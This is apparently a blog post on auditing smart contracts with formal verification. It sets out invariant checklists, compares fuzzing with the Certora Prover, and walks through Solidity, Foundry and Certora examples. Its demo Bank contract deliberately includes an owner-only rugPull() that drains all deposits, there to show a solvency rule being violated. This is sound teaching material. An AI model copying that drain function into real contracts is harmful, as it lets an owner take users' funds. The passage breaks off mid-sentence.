[{"content":"Hey guys, in this blog post, we\u0026rsquo;re going to perform a security assessment of a smart contract and, with the help of Certora\u0026rsquo;s formal verification tool, try to prove there are no \u0026ldquo;High\u0026rdquo; severity issues residing in the source code.\nPer sherlock rules a \u0026ldquo;High\u0026rdquo; severity issue causes the protocol or users to lose more than 1% and more than 10$ of their principal/yield/fees without extensive limitations of external conditions.\nModern audit contests First of all, a few notes regarding modern audit contests.\nSherlock is a great audit contest platform per se. We actually ran an audit contest with Sherlock, and the final audit report was pretty solid. It\u0026rsquo;s been almost 2 years, and the audited protocol has not been hacked and hopefully won\u0026rsquo;t be. But, like all such platforms, they don\u0026rsquo;t give a 100% guaranteee that there\u0026rsquo;re no bugs missing (here we\u0026rsquo;re talking only about \u0026ldquo;High\u0026rdquo; severity issues).\nModern audit contest platforms have a couple of drawbacks. First of all, they pretty much limit the auditors with the time given for the audit. If you take a look at the latest aaveV4 audit contest, you may find that the audit scope is 3614 nSLOC, which is basically 7k lines of code. So every day you have to audit ~242 lines of code, which is pretty much a race. The formal verification approach presented in the current blog post does not fit well with audit contests because it thoroughly checks all of the protocol methods and invariants, thus requiring way more time than 29 days. But in the end, if your protocol\u0026rsquo;s TVL is 55 billion dollars (shout out to Aave), then it does make sense to spend more time on the security audit.\nAnother point is that protocols that reach Sherlock (or other audit contest platforms) to perform an audit contest are already pretty much covered with unit and statefull fuzzing tests, which greatly reduce the chances of finding anything higher than \u0026ldquo;Medium\u0026rdquo;, so in the end, such audits end up with infinite escalations and arguing with lead senior judges over subtle discrepancies in the readme file, with the only purpose to keep your reported \u0026ldquo;almost\u0026rdquo; medium severity issue as a valid finding per Sherlock (or other audit contest platform) rules.\nProtocol types and invariants If you check Solodit, you may find that they divide the whole DeFi protocol landscape into 34 categories:\n1. Algo-Stables\n2. Bridge\n3. CDP\n4. Cross Chain\n5. Decentralized Stablecoin\n6. Derivatives\n7. Dexes\n8. Farm\n9. Gaming\n10. Indexes\n11. Insurance\n12. Launchpad\n13. Lending\n14. Leveraged Farming\n15. Liquid Staking\n16. Liquidity Manager\n17. NFT Lending\n18. NFT Marketplace\n19. Options\n20. Options Vault\n21. Oracle\n22. Payments\n23. Prediction Market\n24. Privacy\n25. RWA\n26. RWA Lending\n27. Reserve Currency\n28. Services\n29. SoFi\n30. Staking Pool\n31. Synthetics\n32. Uncollateralized Lending\n33. Yield\n34. Yield Aggregator\nNext, if you start checking all \u0026ldquo;High\u0026rdquo; severity issues from solodit for the last 20 months (3512 \u0026ldquo;High\u0026rdquo; severity issues), you may find that, at some point, they start to repeat. If you try to reduce the repeated issues even further, you may find that all of them are actually about broken invariants like getting more or fewer assets than expected, bypassing require() statements and so on.\nTypical invariant violations from solodit are:\n- Single method DoS\n- Protocol insolvency\n- User/protocol gets more/fewer assets (tokens, votes, etc\u0026hellip;) than expected\n- Funds (native tokens, ERC20, ERC721, etc\u0026hellip;) are stuck in the contract\n- Bypassing a single require statement (like daily loss limit or max allowed deposit)\n- User can get assets more easily (like win a proposal with fewer assets than required, or mint a unique game NFT with fewer assets than required, or with a greater winning probability)\n- Admin protected method callable by none-admin roles\n- MEV (frontrunning, sandwiching, backrunning)\nSo each security issue in a smart contract is actually a broken invariant.\nInvariant types There are at least 2 great approaches of how to think about invariants so that they could cover the whole protocol.\nDevdacian The 1st one is presented by devdacian.\nContract lifecycle can be broken into:\n1. Construction/initialisation\n2. Regular functioning\n3. End state\nInvariant categories:\n1. Black box (can be clearly seen from the docs)\n2. White box (based on the internal code)\nInvariant types:\n1. Relationships between inter-related storage locations (ex: the sum of all values in a mapping must be equal to another storage variable)\n2. Monetary value and solvency (ex: contract must always be able to cover liabilities)\n3. Logical invariants that prevent invalid state (ex: protocol must never enter a state where the borrower can be liquidated but can\u0026rsquo;t repay)\n4. DoS (ex: liquidation should never revert with unexpected errors such as array index out of bounds, under/overflow, etc\u0026hellip;)\nCertora Certora offers an industry-leading tool called CertoraProver that helps in performing formal verification of smart contracts.\nThey divide invariants into these categories:\n1. Valid states (usually a certora invariant)\n2. Valid state transitions (usually a certora rule)\n3. Variable transitions (usually a certora rule)\n4. High level properties (usually a certora invariant)\n5. Unit test (usually a certora rule)\nValid states examples - If the meeting is pending, then it has not yet started\n- If the meeting has started, then it is not pending\nValid state transitions examples Valid state transitions type invariants verify 2 things:\n1. Valid states change according to their correct order in the state machine\n2. Transitions only occur under the right conditions, like calls to specific functions or time elapsing\nFor example:\n1. Get the state before\n2. Run an arbitrary function\n3. Get the state after\n4. Assert:\n- If the state before was 0, then the state after can be 1 or 0 (not 2, 3, etc\u0026hellip;)\n- If the state before was 0 and the state after is 1, then a certain function selector was called\nVariable transitions examples - After calling deposit(), the balance of all users and the total system balance must not decrease\n- After calling withdraw(), the total system balance must decrease\nHigh level properties examples - If a client makes any operation within the bank system (currency conversion, transfer between accounts, etc\u0026hellip;) the total balance of all clients\u0026rsquo; accounts must remain the same (i.e. solvency)\n- The balance of any single user must be no more than the total funds of the bank\nUnit test examples - The transfer in the system must increase the recipient\u0026rsquo;s balance by a specified amount and decrease the sender\u0026rsquo;s balance by the same amount\n- In ERC20, if increaseAllowance() was called, the allowance of the spender by the owner increases exactly by the specified amount\nOverall certora offers a pretty comprehensive approach in building invariants that cover the whole system although this blog post offers even simpler approach with only \u0026ldquo;unit\u0026rdquo; and \u0026ldquo;high level\u0026rdquo; invariants because in the end the \u0026ldquo;valid states\u0026rdquo;, \u0026ldquo;valid state transitions\u0026rdquo; and \u0026ldquo;variable transitions\u0026rdquo; invariant categories can be further reduced to \u0026ldquo;unit\u0026rdquo; or \u0026ldquo;high level\u0026rdquo; invariant categories.\nInvariants checklist Let\u0026rsquo;s simplify Certora\u0026rsquo;s approach to building invariants.\nInvariants can be divided into 3 categories:\n1. High level\n2. Unit test\n3. MEV\nHigh level category should be applied if your invariant verifies more than 1 contract method (via Certora invariants or parametric rules).\nUnit test category should verify a specific method (both state changing and view ones) in 4 ways (you\u0026rsquo;ll see later an example):\n1. Integrity - method updates storage as expected\n2. Revert conditions - method does not revert unexpectedly\n3. 3rd party effects - method does not affect storage and states of a 3rd party protocol participant (ex: 3rd party borrow position must not become liquidatable after some state changes)\n4. Additivity - calling the method with a single value parameter affects the storage the same way as calling the method multiple times with smaller value parameters (ex: ERC20.transfer(to, 10) changes the storage the same way as calling ERC20.transfer(to, 5) 2 times)\nMEV is a special invariant category that checks that frontrunning, backrunning or sandwiching a method execution does not negatively affect a protocol participant or favors a frontrunner.\nHere is an invariant checklist that should (ideally) be checked when performing a smart contract security assessment:\n1. High level:\n- All methods are reachable, there\u0026rsquo;re no methods that always revert\n- Method can not be reentered\n- The unchecked blocks never over/underflow\n- All 3rd party integrations (chainlink, pyth, LZ, etc\u0026hellip;) work correctly and follow best security practices\n- There\u0026rsquo;re no unrestricted delegatecalls\n- Solvency, a contract must always be able to cover liabilities. For example:\na) The sum of all user balances must equal to total supply\nb) The balance of a single user must not be greater than the total funds in the system\nc) Lack of partial liquidations allows huge positions to accrue bad debt if the loan amount exceeds market liquidity (when flashloans don\u0026rsquo;t help)\n- No stuck assets (ERC20, native ETH, votes, etc\u0026hellip;) in the contract. We should simulate possible flows from the beginning to the end. For example: user deposits (or overpays), user withdraws, admin withdraws fees, all must have expected balances.\n- Randomness follows a normal probability distribution\n- All methods must not affect 3rd party entities (users/pools/etc\u0026hellip;)\n- Flashloans and actions in a single block must not negatively affect the protocol or benefit the user. For example:\na) User takes a flashloan, creates a proposal, votes, executes a proposal and returns a flashloan\nb) User stakes and unstakes in a single block\nc) User opens a position, undercollateralizes it and self liquidates\n- The secondary market does not affect the protocol\u0026rsquo;s economic\n- There must always be at least 1 admin / owner\n- Project dependencies do not have known vulnerabilities\n- No infinite loops and out of gas errors\n- Critical protocol methods must use access control which can not be circumvented. For example: no one must be able to remove anyone from the blacklist.\n- If the state variable is changed, then only certain method(s) and access control roles (or users with allowance) are allowed to change it\n- External calls are only to trusted contracts and methods\n- If a single call does not affect the user, then it must not grief the protocol or other entities\u0026rsquo; assets or gas usage (example)\n- Two consecutive arbitrary method calls do not favor the user. For example:\na) User calls grantMinterRole() without access control and mint() afterwards\nb) User is granted infinite allowance via one of the protocol methods, user drains protocol funds afterwards\nc) User calls unrestricted initialiser and harms the protocol\nd) Async router (like 1inch) does not consume the full allowance, the malicious user finds a way to transfer not spent allowance. Allowances must be reset after interacting with async routers because they may not consume the whole allowed amount.\n- Semantically equal methods must work equally (like executeBatch() and execute() or swap() and swapMultiple())\n- Weird ERC20 tokens must not affect operations\n- Calling public methods multiple times (for example in a bridge) must not DoS a backend infrastructure\n- Inherited contract methods must be used. For example: if the contract inherits ERC20Pausable, then pause() and unpause() methods must be used.\n- Integer roundings on asset transfers must always favor the protocol, up for the \u0026ldquo;user =\u0026gt; protocol\u0026rdquo; flow, down for the \u0026ldquo;protocol =\u0026gt; user\u0026rdquo; flow\n- There must be economic incentives for participants (like liquidation fee or gas refunds)\n- System is in a valid state. For example:\na) If the meeting is in the pending state, then it has not yet started\nb) User must not be able to vote after voting has finished\n- System state transitions are valid. For example:\na) If the state before was 0, then the state after can be 1 or 0 (not 2, 3, etc\u0026hellip;)\nb) If the state before was 0 and the state after is 1, then a certain function selector was called\n- Block environment (like gas fees or timestamp) does not negatively affect participants. For example:\na) When liquidating a small position user must get better rewards than network gas fees paid\nb) Early investors get more rewards than late investors\n- Always latest proxy implementation is used in case there\u0026rsquo;re multiple proxies available\n- Two async transactions (with a delay between them) do not negatively affect the protocol or participants. For example: the proposal supervisor is the same both on proposal creation and execution.\n- Normal user flow equals the same flow after migration of tokens, locks, etc\u0026hellip;\n- Invalidated assets must not be able to be used in the system. For example:\na) Removed signer can not create valid signatures anymore\nb) Blacklisted users can not perform any actions\nc) User must not be able to use an invalidated asset (ex: NFT)\n- Signature can not be reused across chain / contract (it must include network id, contract address, nonce, deadline)\n- Normal protocol flows must equally affect the storage for 2 different users in different block environments. For example:\na) Two different traders must pay the same amount of fees / penalties and get the same amount of rewards / output on swapping the same amount of tokens\n- Output assets can not be acquired with 0 input assets. For example:\na) The proposal must be won with at least X amount of votes\nb) NFT must be minted with at least X price\nc) One active DAO proposal must have at least 1 voted user\nd) For a proposal to be executed, a minimum number of validators must cast votes\n- A single require statement or if(CONDITION) revert must not be bypassed. For example:\na) Max amount deposited per user\nb) User should not be able to transfer assets to the 2nd account and withdraw, thus circumventing require statements\n2. Unit test:\n- Integrity\n- Revert conditions\n- 3rd party effects\n- Additivity\n3. MEV:\n- Frontrunning: adversary tx1 does not affect user tx2\n- Sandwiching: adversary tx1 and tx3 does not affect user tx2 and does not profit adversary\n- Backrunning: adversary tx2 does not affect user tx1\nAudit flow So, in order not to miss \u0026ldquo;high\u0026rdquo; severity issues in the protocol, you may follow this audit flow:\n1. Quickstart: read the documentation quickstart\n2. Deep dive: create unit tests for state changing methods in order to deeply understand how the protocol works\n3. Documentation finish: finish protocol documentation\n4. Use cases: write typical protocol use cases with assets movement\n5. Roles: describe how protocol methods work by role in order to understand how contracts are connected with each other\n6. Manual audit: investigate places of interest found during \u0026ldquo;Deep dive\u0026rdquo;\n7. Solodit: check similar issues at https://solodit.cyfrin.io/, which often appear in the same type / fork of the protocol\n8. Static analysis: run slither and aderyn to catch \u0026ldquo;low hanging\u0026rdquo; bugs\n9. FV setup: init Certora project. When adding a contract to the Certora scene, think about whether the contract is controlled by the user, i.e. can the user deploy a malicious contract (or token with callbacks) or not.\n10. FV unit test: create formal verification \u0026ldquo;unit test\u0026rdquo; type rules for all methods in order to better understand possible edge cases\n11. FV high level: create formal verification \u0026ldquo;high level\u0026rdquo; type rules using the invariants checklist\n12. FV MEV: create formal verification \u0026ldquo;MEV\u0026rdquo; type rules for all methods\n13. Final report: prepare final report\nStateless vs statefull fuzzing Now it\u0026rsquo;s time to understand how to check that all those invariants hold.\nFirst of all, we should understand the difference between stateless and statefull fuzzing. In particular, we should think about what contract states those 2 fuzzing methods can reach.\nLet\u0026rsquo;s take, for example, this smart contract:\n// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract Counter { uint256 public number = 10; function increaseBy(uint256 newNumber) public { number += newNumber; } function decrement() public { number--; } } There\u0026rsquo;s a number state variable initially set to 10. Besides there\u0026rsquo;re 2 methods:\n- increaseBy() which increases the number by a specified amount\n- decrement() which decreases the number by 1\nNow take a look at the following tests:\n// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test} from \u0026#34;forge-std/Test.sol\u0026#34;; import {Counter} from \u0026#34;../src/Counter.sol\u0026#34;; contract CounterTest is Test { Counter public counter; function setUp() public { counter = new Counter(); } function testFuzz_increaseBy(uint256 x) public { uint256 numberBefore = counter.number(); // prevent overflow x = bound(x, 0, type(uint256).max - numberBefore); counter.increaseBy(x); assertEq(counter.number(), x + numberBefore); } function invariant_numberNot5() public { assertNotEq(counter.number(), 5); } } If you run forge test --match-test testFuzz_increaseBy, you\u0026rsquo;ll get the following output:\nRan 1 test for test/Counter.t.sol:CounterTest [PASS] testFuzz_increaseBy(uint256) (runs: 256, μ: 17465, ~: 17537) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.57ms (6.62ms CPU time) Ran 1 test suite in 134.81ms (7.57ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) The testFuzz_increaseBy is a stateless test (fuzz test in terms of foundry). It actually checks only 2 contract states: before calling increaseBy() and after.\nNow run forge test --match-test invariant_numberNot5. You\u0026rsquo;ll get this output:\nRan 1 test for test/Counter.t.sol:CounterTest [FAIL: invariant_numberNot5 replay failure] [Sequence] (original: 5, shrunk: 5) sender=0xbCf0f377E28b2Be7f74477Cae95Bd0b444FCe172 addr=[src/Counter.sol:Counter]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f calldata=decrement() args=[] sender=0x000000000000000000000000000000000000111D addr=[src/Counter.sol:Counter]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f calldata=decrement() args=[] sender=0x000000000000000000000000000000000000045B addr=[src/Counter.sol:Counter]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f calldata=decrement() args=[] sender=0x0000000000000000000000000000000000001B06 addr=[src/Counter.sol:Counter]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f calldata=decrement() args=[] sender=0x36A6f2224DE35354E500de103eD343dF5aBA671F addr=[src/Counter.sol:Counter]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f calldata=decrement() args=[] invariant_numberNot5() (runs: 1, calls: 1, reverts: 1) Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 103.25ms (102.69ms CPU time) The invariant_numberNot5 is a statefull test (invariant test in terms of foundry). The invariant defined in the invariant_numberNot5 test checks that the number state variable can\u0026rsquo;t be 5. Foundry simply calls all of the contract methods in a random order and checks afterwards whether the number state variable is 5 or not. So, foundry actually preserves the contract state between arbitrary contract method calls. That is why foundry is able to show us a counterexample in the console output that if the decrement() method is called 5 times, then the number state variable will be 5, which breaks the invariant. Obviously, with random method calls, foundry allows us to reach way more contract states than a plain stateless / fuzz test.\nStatefull fuzzing vs formal verification Now let\u0026rsquo;s understand the difference between statefull fuzzing and formal verification.\nLet\u0026rsquo;s take this contract as an example:\n// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract CounterFV { uint256 public number; function increment(uint256 x) public { if (x == type(uint256).max / 2) { number++; } } } It has the only state changing method increment(). If the provided x parameter is type(uint256).max / 2 then it clearly must increment the number state variable by 1.\nFor statefull fuzzing, let\u0026rsquo;s take this test:\n// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test} from \u0026#34;forge-std/Test.sol\u0026#34;; import {CounterFV} from \u0026#34;../src/CounterFV.sol\u0026#34;; contract CounterFVTest is Test { CounterFV public counterFV; function setUp() public { counterFV = new CounterFV(); } /// forge-config: default.invariant.runs = 10000 function invariant_numberNot1() public { assertNotEq(counterFV.number(), 1); } } The invariant_numberNot1 test checks that the number state variable is never 1, which obviously can not hold. If you run forge test --match-test invariant_numberNot1, you\u0026rsquo;ll get this output:\nRan 1 test for test/CounterFV.t.sol:CounterFVTest [PASS] invariant_numberNot1() (runs: 10000, calls: 5000000, reverts: 0) ╭-----------+-----------+---------+---------+----------╮ | Contract | Selector | Calls | Reverts | Discards | +======================================================+ | CounterFV | increment | 5000000 | 0 | 0 | ╰-----------+-----------+---------+---------+----------╯ Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 63.92s (63.91s CPU time) The invariant test ran for ~1 minute, performed 10000 runs and could not break the invariant, although it\u0026rsquo;s obvious that the invariant can be broken.\nNext, let\u0026rsquo;s see how formal verification with Certora handles the same invariant.\nCreate a CounterFV.conf certora config file:\n{ \u0026#34;files\u0026#34;: [ \u0026#34;src/CounterFV.sol\u0026#34; ], \u0026#34;verify\u0026#34;: \u0026#34;CounterFV:certora/CounterFV.spec\u0026#34;, \u0026#34;rule_sanity\u0026#34;: \u0026#34;basic\u0026#34;, \u0026#34;optimistic_loop\u0026#34;: true, \u0026#34;msg\u0026#34;: \u0026#34;CounterFV\u0026#34;, } Create a certora rule for the \u0026ldquo;number can not be 1\u0026rdquo; invariant:\n// Number can not be 1 rule high_numberNot1() { method f; env e; calldataarg args; require number(e) != 1, \u0026#34;Invariant holds initially\u0026#34;; f(e, args); assert number(e) != 1; } If you run certoraRun certora/CounterFV.conf, you\u0026rsquo;ll get this certora formal verification result: https://prover.certora.com/output/8691664/40ce644d4d8445dab7d68fbe63e51941/?anonymousKey=ccf88867e372884e4f9cd28d0de7f1f771f95361\nYou can see that Certora found a counterexample of x == 2^255 - 1, which breaks the invariant. It took 44 seconds for Certora to break the invariant, while statefull fuzzing couldn\u0026rsquo;t break it in a minute.\nHere is a list of the pros and cons of using the Certora Prover.\nPros:\n1. Certora operates on all possible values which state variables can be set to. Let that sink in. When you create a certora rule or invariant, they start at an arbitrary contract state, then perform some state changes and finally assert that the invariants are not broken. It\u0026rsquo;s your job to understand if the final contract state is reachable; the better you understand the protocol, the faster you can handle false positive counterexamples. Compare it with the statefull fuzzing where random methods are called with random parameters, statefull fuzzing can\u0026rsquo;t reach every possible state like Certora (or other formal verification tools).\n2. Generally (this is a heuristic), if your statefull test takes more than 5 minutes to execute, then you can rewrite it in Certora and (with the help of summaries) get a faster result which covers all possible contract states instead of relying on statefull fuzzing randomness.\n3. Certora saves time in a protocol contracts setup with complex architecture. With statefull fuzzing, you should create handlers or mocks for all 3rd party integrations (like uniswap, chanlink, layerzero, etc\u0026hellip;). With Certora, you \u0026ldquo;simply\u0026rdquo; bring all of the contracts into the Certora contracts scene, probably summarise some of the methods, and you\u0026rsquo;re good to go.\nCons:\n1. Steep learning curve. Grasping https://docs.certora.com/en/latest/ and https://github.com/Certora/Examples takes quite a while.\n2. Redundant require statements may cause your invariants to be unsound, thus leaving bugs unnoticed in the smart contract code.\n3. Too many false positive counterexamples and execution time. Sometimes it gets annoying to write another require() statement for a clearly unreachable contract state and wait for another 5 minutes for the Certora backend to finish verifying the specs.\nHow Certora Prover works Check the Certora Prover architecture diagram:\n1. Blockchain specific compiler ( solc, rustc, vyper) turns a smart contract into bytecode (by the way Certora Prover also helps in finding compiler bugs).\n2. A decompiler maps the blockchain specific bytecode into instructions over scalar variables called \u0026ldquo;registers\u0026rdquo;. This representation is called TAC.\n3. A static analysis algorithm then infers sound invariants about the code, drastically simplifying the verification task.\n4. Then, the VC (Verification Condition) generator outputs a set of mathematical constraints which describe the conditions under which the program can violate the rules.\n5. Certora Prover invokes off-the-shelf SMT solvers (Z3, CVC5, Yices, Vampire) that automatically search for solutions to the mathematical constraints which represent violations of the rules. These solvers can fail in certain cases by timing out with an inconclusive answer.\n6. Certora Prover takes the result from the solver, processes it to generate a detailed report, and presents it to the client/user of the prover.\nExample Let\u0026rsquo;s, for example, take this smart contract:\n// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Ownable} from \u0026#34;openzeppelin-contracts/contracts/access/Ownable.sol\u0026#34;; import {Math} from \u0026#34;openzeppelin-contracts/contracts/utils/math/Math.sol\u0026#34;; import {ERC20Mock} from \u0026#34;./ERC20Mock.sol\u0026#34;; /** * @notice Bank contract */ contract Bank is Ownable { using Math for uint256; // Deposited asset ERC20Mock public asset; // APR in BPS, 1 BPS == 0.01% uint256 public aprBps; // Deposit fee in BPS, 1 BPS == 0.01% uint256 public feeBps; // Total fees available for collection by the owner uint256 public totalFees; // Total amount of deposited assets uint256 public totalDepositedAmount; // Amount of tokens deposited by a particular user mapping(address user =\u0026gt; uint256 depositedAmount) public userDepositedAmount; // Timestamp when user\u0026#39;s deposit can be withdrawn, set to 0 of there\u0026#39;s no active deposit mapping(address user =\u0026gt; uint256 unlockTimestamp) public userUnlockTimestamp; // BPS precision uint constant PRECISION = 10_000; // Error error AlreadyDeposited(); error EmptyBalance(); error Locked(); error ZeroAmount(); /** * @notice Constructor * @param _asset Bank deposit asset * @param _aprBps APR in BPS * @param _feeBps Protocol fee in BPS */ constructor(address _asset, uint256 _aprBps, uint256 _feeBps) Ownable(msg.sender) { asset = ERC20Mock(_asset); aprBps = _aprBps; feeBps = _feeBps; } //========== // Public //========== /** * @notice Deposits assets to the contract * @param amount Amount of assets to deposit */ function deposit(uint256 amount) external { // validation if (userDepositedAmount[msg.sender] \u0026gt; 0) revert AlreadyDeposited(); if (amount == 0) revert ZeroAmount(); // effects uint256 fee = getFee(amount); userDepositedAmount[msg.sender] = amount - fee; userUnlockTimestamp[msg.sender] = block.timestamp + 365 days; totalFees += fee; totalDepositedAmount += userDepositedAmount[msg.sender]; // interactions asset.transferFrom(msg.sender, address(this), amount); } /** * @notice Withdraws all assets with a yield after 365 days */ function withdraw() external { // validation uint256 depositedAmount = userDepositedAmount[msg.sender]; if (depositedAmount == 0) revert EmptyBalance(); if (userUnlockTimestamp[msg.sender] \u0026gt; block.timestamp) revert Locked(); // effects userDepositedAmount[msg.sender] = 0; userUnlockTimestamp[msg.sender] = 0; totalDepositedAmount -= depositedAmount; uint256 yield = getYield(depositedAmount); // interactions asset.mint(msg.sender, yield); asset.transfer(msg.sender, depositedAmount); } /** * @notice Withdraws all assets without a yield */ function withdrawEmergency() external { // validation uint256 depositedAmount = userDepositedAmount[msg.sender]; if (depositedAmount == 0) revert EmptyBalance(); // effects userDepositedAmount[msg.sender] = 0; userUnlockTimestamp[msg.sender] = 0; totalDepositedAmount -= depositedAmount; // interactions asset.transfer(msg.sender, depositedAmount); } //========= // Owner //========= /** * @notice Collects all available fees */ function collectFees() external onlyOwner() { // validation uint256 totalFeesCached = totalFees; if (totalFeesCached == 0) revert EmptyBalance(); // effects totalFees = 0; // interactions asset.transfer(msg.sender, totalFeesCached); } /** * @notice Rug pulls the contract, transfers all assets to the owner * @dev Serves as an example of broken solvency invariant */ function rugPull() external onlyOwner() { asset.transfer(msg.sender, asset.balanceOf(address(this))); } //=========== // Helpers //=========== /** * @notice Returns fee amount * @param amount Amount */ function getFee(uint256 amount) public view returns (uint256) { return amount.mulDiv(feeBps, PRECISION); } /** * @notice Returns yield amount * @param amount Amount */ function getYield(uint256 amount) public view returns (uint256) { return amount.mulDiv(aprBps, PRECISION); } } In the Bank smart contract, users are able to:\n- deposit() (i.e stake) ERC20 assets for 365 days and pay a deposit fee\n- withdraw() deposited assets with a yield after the staking period is over\n- call withdrawEmergency() to withdraw deposited assets immediately without a yield\nContract owner is able to:\n- collectFees()\n- rugPull() all contract assets, placed as an example of a broken solvency invariant\nA typical user flow example:\n1. User deposits 100 ERC20 tokens with 10% APR and 1% protocol fee\n2. 99 ERC20 tokens goes to deposit, 1 ERC20 token goes to fees\n3. After a year, the user withdraws the deposited assets\n4. User gets 108.9 ERC20 tokens (10% APR)\n5. Owner calls collectFees() and gets 1 ERC20 fee token\nWe start formal verification with \u0026ldquo;unit test\u0026rdquo; type invariants for all contract methods.\nFor the deposit() method, we should check that:\n1. deposit() updates storage as we expect\n2. deposit() does not revert unexpectedly\n3. deposit() does not affect 3rd parties (i.e. other users\u0026rsquo; deposits)\n4. deposit() additivity (since the user can have only 1 deposit at a time, this check can be skipped)\nWe create the following certora rules for the deposit() method:\n// `deposit()` updates storage as expected rule unit_deposit_integrity() { env e; applySafeAssumptions(e); uint256 amount; uint256 fee = getFee(e, amount); uint256 userDepositedAmountBefore = userDepositedAmount(e, e.msg.sender); uint256 userUnlockTimestampBefore = userUnlockTimestamp(e, e.msg.sender); uint256 totalFeesBefore = totalFees(e); uint256 totalDepositedAmountBefore = totalDepositedAmount(e); uint256 senderBalanceBefore = token.balanceOf(e, e.msg.sender); uint256 contractBalanceBefore = token.balanceOf(e, currentContract); deposit(e, amount); uint256 userDepositedAmountAfter = userDepositedAmount(e, e.msg.sender); uint256 userUnlockTimestampAfter = userUnlockTimestamp(e, e.msg.sender); uint256 totalFeesAfter = totalFees(e); uint256 totalDepositedAmountAfter = totalDepositedAmount(e); uint256 senderBalanceAfter = token.balanceOf(e, e.msg.sender); uint256 contractBalanceAfter = token.balanceOf(e, currentContract); assert userDepositedAmountAfter == amount - fee; assert userUnlockTimestampAfter == require_uint256(e.block.timestamp + SECONDS_IN_YEAR()); assert totalFeesAfter == require_uint256(totalFeesBefore + fee); assert totalDepositedAmountAfter == require_uint256(totalDepositedAmountBefore + amount - fee); assert senderBalanceAfter == senderBalanceBefore - amount; assert contractBalanceAfter == require_uint256(contractBalanceBefore + amount); } // `deposit()` reverts when expected rule unit_deposit_revertConditions() { env e; applySafeAssumptions(e); uint256 amount; bool isEtherSent = e.msg.value \u0026gt; 0; bool hasUserAlreadyDeposited = userDepositedAmount(e, e.msg.sender) \u0026gt; 0; bool isAmountZero = amount == 0; bool hasContractEnoughAllowance = token.allowance(e, e.msg.sender, currentContract) \u0026gt;= amount; bool hasUserEnoughBalance = token.balanceOf(e, e.msg.sender) \u0026gt;= amount; bool isTotalFeesOverflow = totalFees(e) + getFee(e, amount) \u0026gt; max_uint256; bool isUnlockTimestampOverflow = e.block.timestamp + SECONDS_IN_YEAR() \u0026gt; max_uint256; bool isFeeTooBig = getFee(e, amount) \u0026gt; amount; bool isTotalDepositedAmountOverflow = totalDepositedAmount(e) + amount - getFee(e, amount) \u0026gt; max_uint256; bool isExpectedToRevert = isEtherSent || hasUserAlreadyDeposited || isAmountZero || !hasContractEnoughAllowance || !hasUserEnoughBalance || isTotalFeesOverflow || isUnlockTimestampOverflow || isFeeTooBig || isTotalDepositedAmountOverflow; deposit@withrevert(e, amount); assert lastReverted \u0026lt;=\u0026gt; isExpectedToRevert; } // `deposit()` does not affect 3rd party entities rule unit_deposit_doesNotAffect3rdPartyEntities() { env e; applySafeAssumptions(e); uint256 amount; address otherUser; require otherUser != currentContract \u0026amp;\u0026amp; otherUser != token \u0026amp;\u0026amp; otherUser != e.msg.sender; uint256 otherUserBalanceBefore = token.balanceOf(e, otherUser); deposit(e, amount); uint256 otherUserBalanceAfter = token.balanceOf(e, otherUser); assert otherUserBalanceBefore == otherUserBalanceAfter; } We keep creating \u0026ldquo;unit test\u0026rdquo; type rules for all contract methods.\nNext, we go to \u0026ldquo;high level\u0026rdquo; invariants. Let\u0026rsquo;s start with the access control invariant \u0026ldquo;owner protected methods are callable only by the contract owner\u0026rdquo;:\n//---------------------------------------- // Methods are called by expected roles //---------------------------------------- rule high_accessControl() { env e; method f; calldataarg args; f(e, args); assert ( f.selector == sig:collectFees().selector || f.selector == sig:rugPull().selector ) =\u0026gt; e.msg.sender == owner(e); } Let\u0026rsquo;s also add the solvency invariant:\n//---------------------------------------- // Protocol solvency //---------------------------------------- rule high_solvency() { env e; applySafeAssumptions(e); require token.balanceOf(e, currentContract) == totalDepositedAmount(e) + totalFees(e); method f; calldataarg args; if (f.selector == sig:deposit(uint256).selector) { uint256 amount; require token.balanceOf(e, currentContract) + amount \u0026lt;= max_uint256, \u0026#34;Prevent overflow\u0026#34;; deposit(e, amount); } else { f(e, args); } assert token.balanceOf(e, currentContract) == totalDepositedAmount(e) + totalFees(e); } You may find all Certora specs here.\nNext, create a certora config file ( ERC20Mock source code is here):\n{ \u0026#34;files\u0026#34;: [ \u0026#34;src/Bank.sol\u0026#34;, \u0026#34;src/ERC20Mock.sol\u0026#34;, ], \u0026#34;verify\u0026#34;: \u0026#34;Bank:certora/Bank.spec\u0026#34;, \u0026#34;link\u0026#34;: [ \u0026#34;Bank:asset=ERC20Mock\u0026#34; ], \u0026#34;parametric_contracts\u0026#34;: [ \u0026#34;Bank\u0026#34; ], \u0026#34;rule_sanity\u0026#34;: \u0026#34;basic\u0026#34;, \u0026#34;optimistic_loop\u0026#34;: true, \u0026#34;optimistic_hashing\u0026#34;: true, \u0026#34;msg\u0026#34;: \u0026#34;Bank\u0026#34;, } And finally, run the certora config with certoraRun certora/Bank.conf. You\u0026rsquo;ll get this certora report: https://prover.certora.com/output/8691664/d9debc82b644401e859f2387273d2298/?anonymousKey=052aa3b31101c06e4ea7511949e55773f7014b20\nYou may see that all \u0026ldquo;unit test\u0026rdquo; rules are proved, which means that all of the contract methods:\n1. Change storage as expected\n2. Do not revert unexpectedly\n3. Do not affect other entities unexpectedly\nThe high_accessControl rule is also proven, which means that access control works as expected.\nBut, the high_solvency rule, which checks the protocol solvency invariant, is violated for the rugPull() method, which is something that we were expecting.\nThe next steps for the Bank contract are to meticulously follow the invariants checklist and prove that none of the other \u0026ldquo;high\u0026rdquo; level invariants are broken. For example, some of the weird ERC20 tokens (in particular, the ones with the transfer fees) are clearly not supported.\nSummary In this blog post, we discovered how to perform a comprehensive smart contract audit with the help of formal verification using the Certora Prover. This audit approach (with a bit of luck) can find 100% of \u0026ldquo;high\u0026rdquo; severity issues in smart contracts, although it takes a really significant amount of time, 